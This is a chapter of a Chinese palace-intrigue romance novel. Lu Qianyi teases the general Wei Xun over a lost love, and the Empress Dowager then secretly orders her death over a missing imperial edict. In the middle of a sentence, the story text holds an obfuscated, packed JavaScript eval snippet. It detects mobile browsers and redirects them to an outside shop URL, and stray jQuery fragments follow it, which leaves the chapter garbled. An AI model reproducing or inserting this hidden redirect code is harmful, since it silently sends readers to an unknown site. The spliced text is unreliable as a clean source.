陆千仪一想到眼下他们之间算是各取所需的关系,底气都比之前更足了些:“为了你我可是搭上了一辈子的名声,没让你倒贴我个十万八千两就不错了,还这么多意见?”
那点点游光似的明媚,终于再一次回到她的眉梢,魏寻凝视她片刻,便轻轻动了动唇角,答道:“姑娘大义,魏某自然没意见。”
“这还差不多。”陆千仪心里暗自高兴,莫名有种打了胜仗的自豪之感。心里头的郁闷一扫而空,连桌上素淡清寡的菜色,吃起来都觉着格外鲜香。
魏寻用饭的动作虽文雅,但实际速度偏快,早早停了筷。
陆千仪吃了片刻,也主动放下了筷子。
魏寻问道:“饱了?”
陆千仪怔了怔,看了他一眼,才回过神来,脸上难得露出了几分自嘲:“以往每天晚上都要喝一大碗药,嬷嬷时常叮嘱晚饭只能吃五分饱,久而久之,便成习惯了。”
魏寻眸光微顿,竟有片刻无言。
少女的身形纤细,不算太合身的精美华服穿在身上都显得有些厚重,只是她身上总张扬着一种明媚蓬勃的生命力,以至于让人忽视了她从前过着怎样卑微委屈的日子。然而此刻眉眼低垂,双手自然而然地搁置在膝上,像小小一只卸去盔甲的幼兽,才真正显露出了心底深处的脆弱。
魏寻不禁想起了曾经那个无忧无虑,被父亲捧在手心里的少女,缓声道:“往后在我这里,没人逼你喝药,想吃多少便吃多少。”
陆千仪想起方才还为了钱把他这个人从上到下骂了一遍,这会又因他这一句话,心里莫名生出来几分感动,只道平心而论,魏寻这人其实也不像外面传言的那么可怕。
“其实我有一件事情挺好奇的。”她突然问道。
魏寻一边端起茶盏一边接话:“何事?”
陆千仪眼珠子微微一转,斟酌了小片刻才开口道:“我听说……你有个心仪之人,那为何不直接娶她?”
闻言,魏寻动作蓦地一顿,斜眼看她。
“以你如今的地位,无论对方是王公贵女还是寻常百姓,这天底下应该没有你求娶不到的女子吧?”陆千仪颇有兴致地往他面前凑了凑脑袋,明亮的眼睛扑闪扑闪着问道,“方便说说是哪家姑娘吗?”
魏寻的表情不知为何沉冷几分,看着她的眼神也是复杂难言。
他乃武将出身,不苟言笑的时候,身上难免会流露出一股慑人的锋芒。
陆千仪面上轻松的神情也不由得微微一变,心里顿时有点慌:“我……说错话了吗?”
魏寻还是看着她不说话,连手中的茶盏都纹丝不动地定在半空中。
陆千仪被他盯得有些发毛,默默把脑袋缩了回来,半个字都不敢再问。
静默片刻,魏寻终是一言不发地收回了目光,只当此等冒昧之言到此为止,不想再跟她追究。怎料刚将茶盏递至唇边,还没等他喝上一口,便听陆千仪猛地倒吸了一口凉气,随即以一种顿悟后的惊讶语气脱口而出道:“你不会被拒绝了吧?”
不会吧?
以他这条件……不应该啊?
魏寻指节骤紧,隐忍到极致似的闭了闭眼,咬牙道:“陆千仪。”
还真是啊!
陆千仪眼神飞快一缩,识相道:“当我没说。”
魏寻掌心那杯茶端了半晌,实在是一口也喝不下去。
枉他还担心她哭了一整日伤了身子,特来开解一二,她倒好,挂在睫毛上的眼泪都没干呢,竟然已经有心情打听别人的私事了?
没良心的!
陆千仪能感觉得到他在看她。
心中的疑惑得到了答案,她莫名有种窥破秘密的满足感,心底忍不住冒起一股笑意,尤其是一想到表面上威风堂堂、炙手可热的靖安侯竟也有被人拒绝的时候,唇角便控制不住地微微上扬。
不行不行,不能笑!
陆千仪低垂着脑袋,咬住下唇强行把笑意憋回去,看起来一副颇为乖觉的模样,可细微的表情变动没能逃过魏寻的眼底。
“好笑吗?”他的声音又沉了几分。
陆千仪连忙摇头,搭着眼帘没敢直视他。
只听“啪嗒”一声,茶盏不轻不重地落回了桌上有,再抬眼时,魏寻的背影已经消失在了门外。
这就生气啦?
陆千仪回想起他的神情,脸上憋着的笑意慢慢敛了下去,染上些许心虚与懊恼,小声嘀咕道:“随口问问而已,有什么好生气的……”
话刚出口,脑中忽然灵光一闪,有个极为不详的念头猛地窜了出来。
陆千仪整个人都为之一震,下意识抬手捂住嘴,满脸惊愕道:“不会吧……”
难不成,他的心仪之人已经不在人世了?
*
天色已暗,慈宁宫内灯火辉煌。
太后坐在正殿高处,面容发冷,沈凝低头跪在她下面,整个殿内除了她们二人,所有伺候的宫人都遣到了殿外,气氛压抑而肃杀。
“当初,你口口声声跟哀家保证过,不会让别人发现她的身份,如今又是闹的哪一出?”
太后的语气虽平静,可偏是这种风雨欲来的平静便足以让沈凝倍感压力,声音也紧张起来:“母后息怒,此事是儿臣一时疏忽……”
“够了!”太后陡然打断她的话,“哀家不想听这些无用之言,你只需告诉哀家,陆家的人,你打算如何处置?”
沈凝心头微震,抬头看着她阴沉冷厉的神情,便知不对:“母后此言何意?”
太后漠然道:“三年了,既然什么都想不起来,便不必再留了。”
“母后不可!”沈凝脸色白了几分,急切道,“再怎么说,她也是儿臣的亲生骨肉……况且,这些年来,朝局稳定,陛下也日渐成熟,宫里有母后坐镇,没有人会再挑起事端了……母后能不能看在儿臣的份上,饶她一命?”
“饶她一命?”
太后眼底骤然闪过一丝狠辣,豁然起身道,“沈凝,二十年前,哀家已经饶过她一次了!当初,若非你一意孤行,背着哀家同陆明远那个毫无根基的孤臣珠胎暗结,又怎会惹得先帝对哀家生疑,宁愿将遗诏交给外人都不肯交给哀家!”
再次听到故人的名字,沈凝心头突地一窒,记忆瞬间被带回那个名为皇权争斗的深暗漩涡,几近恍惚。
五年前,先帝驾崩,皇后萧氏欲扶持先帝幼子继位,然而不知从哪走漏的消息,言道先帝病重时曾暗中留下遗诏,为防外戚干政,要将皇位传于雍王。
雍王一党本就势力成熟,此言一出,朝中半数以上的老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601419|205485||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
臣纷纷支持雍王继位,甚至联名上书逼萧皇后交出先帝遗诏。
若非萧皇后占据天时地利,赶在雍王逼宫前,设法伪造了一份以假乱真的遗诏,加上背后有萧家和薛家几个世家大族支撑,她们母女早已就成了宫廷血战的刀下亡魂。
也正因如此,她们这些年一直在暗中寻找先帝留下的那份遗诏,昔日所有伺候在先帝身边的人都已逐一查过,唯一有可能私藏遗诏的,便是曾经深受先帝信重的御前侍读,陆明远。
“母后,关于遗诏的传闻本就是空穴来风,这些年来该查的人都已经查过了……”沈凝颤声开口道,“或许所谓的遗诏根本就不存在呢?”
“倘若存在呢?”
太后缓步朝她走来,撕去了昔日那张和蔼可亲的表面,仿佛一座无情的高山沉沉压了下来,碾碎了她薄弱的防线,“事关存亡,一念之差便是万劫不复,这些年,不止有我们在暗中寻找遗诏的下落,若不斩草除根,难道你要哀家日日提心吊胆不成?”
沈凝道:“可该死的人都已经死了。”
“陆千仪不还活着吗?”太后道,“倘若遗诏真的存在,你如何确定陆明远没有将此物留给他唯一的女儿?”
沈凝语气一顿:“她已经什么都不记得了。”
“是吗?”太后居高临下地看着她,仿佛在看当年那个陷入情爱,天真又顽固的少女,意味深长道,“倘若她骗了你呢?就像她的父亲那样,看似情深义重,实际上手里握着一柄利刃,随时都有可能让你丧命。”
沈凝瞳孔骤然一颤,仰视着她,良久未动。
周围灯火煌煌,她却只感遍体生寒,口不能言。
她深知眼前之人不仅仅是生养自己的母亲,而是临朝摄政,母仪天下的太后娘娘,整个大苍国最尊贵的女子,这也注定了,她们母女之间势必要成为风雨朝局里牢不可破的一体,进退与共,方能长盛不衰。
至于骨肉亲情,永远也越不过权力这道鸿沟。
有那么一刻,沈凝心里的苍凉险些要溢出喉头,垂下眼帘涩声道:“母后放心,儿臣可以担保,当年的事,她什么都不知道。”
太后眉心猝然一拧。
沈凝目光落在眼前那片以金线为底、缀满珍珠的裙摆上,心底那股久埋的戾气渐渐被激了出来,语气冰冷道:“哪怕真有那么一天,她的存在会威胁到母后,儿臣……定会亲手了结她。”
说这番话时,沈凝已是面无表情。
太后终归是了解她的。
当年因陆明远之死,沈凝已与她生了嫌隙,这些年来,虽然她事事配合,从未显露对她的不满,可横亘在她们之间的那根刺一直都在,但凡有一方稍稍逼近一步,便会被扎得鲜血淋漓。
她身为一国之母,尚可以忍受,但沈凝未必如此。
静默良久,末了,太后终是沉沉叹了口气,回身背对着她道:“你最好说到做到。”
沈凝眼帘依旧未抬:“谢母后。”
太后缄默不语,直到沈凝离开了慈宁宫,贴身嬷嬷入内伺候,仍足足有好一会儿没说话。
嬷嬷轻声道:“太后娘娘?”
太后缓缓搭了眼帘,掩去眼底那一丝不易察觉的阴冷,对着嬷嬷吩咐道:“传哀家密令,三日之内,除掉陆千仪。”